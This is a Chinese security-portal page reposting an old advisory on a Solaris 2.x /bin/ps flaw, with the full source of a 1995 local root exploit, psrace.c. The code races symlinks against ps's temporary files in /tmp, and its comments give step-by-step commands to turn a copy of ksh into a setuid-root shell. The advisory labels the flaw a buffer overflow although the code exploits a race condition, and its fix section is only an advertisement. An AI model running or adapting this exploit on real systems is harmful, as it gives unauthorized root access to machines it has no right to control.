网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > 网络攻防 > 安全漏洞 > SunOS > Solaris 2.x (Sunos 5.x)中的ps漏洞  

Solaris 2.x (Sunos 5.x)中的ps漏洞

2004-04-06  作者:BitsCN整理  来源:中国网管联盟  点评 投稿 收藏

涉及程序:
/bin/ps
 
描述:
Solaris 2.x (Sunos 5.x)中的ps漏洞
 
详细:
/bin/ps存在缓冲区溢出漏洞,可让攻击者获得root权限。


以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负


/*
* psrace.c
*
* Copyright, 1995, by Scott Chasin (chasin@crimelab.com)
*
* This material is copyrighted by Scott Chasin, 1995. The
* usual standard disclaimer applies, especially the fact that the
* author is not liable for any damages caused by direct or indirect
* use of the information or functionality provided by this program.
*
* [ For solaris2.x only ]
*
* After compiling psrace, run the following commands:
*
* cp /bin/ksh $HOME/rootshell; chmod 14755 $HOME/rootshell
* /bin/sh -c 'while /bin/true ; do ps > /dev/null ; done' &
* ./psrace $HOME/rootshell
*
* (Ignore any errors you get from ps)
* You may have to wait a few minutes before the race is won.
*/
网管网www.bitscn.com

#include <stdio.h>
#include <sys/types.h>

#include <dirent.h>
#include <sys/stat.h>

main (argc, argv)
int argc;
char **argv;
{
int count = 0;
DIR *dirp;
struct dirent *dp;
struct stat fileinfo;
char targetfile [85], name [85];

if (argc != 2)
  {
  printf ("Usage: psrace [/full/path/to/target/filename]\n");
  exit (1);
  }

if (access (argv[1], 0))
  {
  printf ("psrace: %s does not exist.\n", argv[1]);
  exit (1);
  }

strcpy (targetfile, argv[1]);

stat ("/tmp", &fileinfo);
if (fileinfo.st_mode & S_ISVTX)
  {
  printf ("psrace: Congratulations! You already have the fix in place.\n");
  printf ("psrace: (/tmp has the sticky-bit set)\n");
  exit (1);
  }

printf ("Be patient, this could take awhile.\n"); 网管下载dl.bitscn.com
printf ("Starting the race .. ");
fflush (stdout);

dirp = opendir ("/tmp");

for (;;)
  {
 unlink ("/tmp/ps_data");

 while ((dp = readdir (dirp)) != NULL)
  {
 if (!strncmp (dp->d_name, "ps.", 3))
  {
 sprintf (name, "/tmp/%s", dp->d_name);
 unlink (name);

 symlink (targetfile, name);

 if (stat (targetfile, &fileinfo) >= 0)
  if (fileinfo.st_uid == 0)
 {
 printf ("We WON!\n");
 closedir (dirp);
 clean_up ();
 }
  }
  }
 rewinddir (dirp);
  }
}


clean_up ()
{
DIR *dirp;
struct dirent *dp;
char name [25];

dirp = opendir ("/tmp");

while ((dp = readdir (dirp)) != NULL) 网管bitscn_com
  if (!strncmp (dp->d_name, "ps.", 3))
 {
 sprintf (name, "/tmp/%s", dp->d_name);
 unlink (name);
 }
closedir (dirp);

unlink ("/tmp/ps_data");
exit (0);
}

受影响的系统:
Solaris 2.x
SunOS 5.x
 
解决方案:
CNNS为您提供完善的网络安全服务。
 

TAGs漏洞   dirp   if   printf   name   argv   unlink   exit   dp   dp-d_name    
 上一篇:SunOS fdformat 溢出漏洞   下一篇:Sunos中的eject漏洞
Solaris 2.x (Sunos 5.x)中的ps漏洞 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: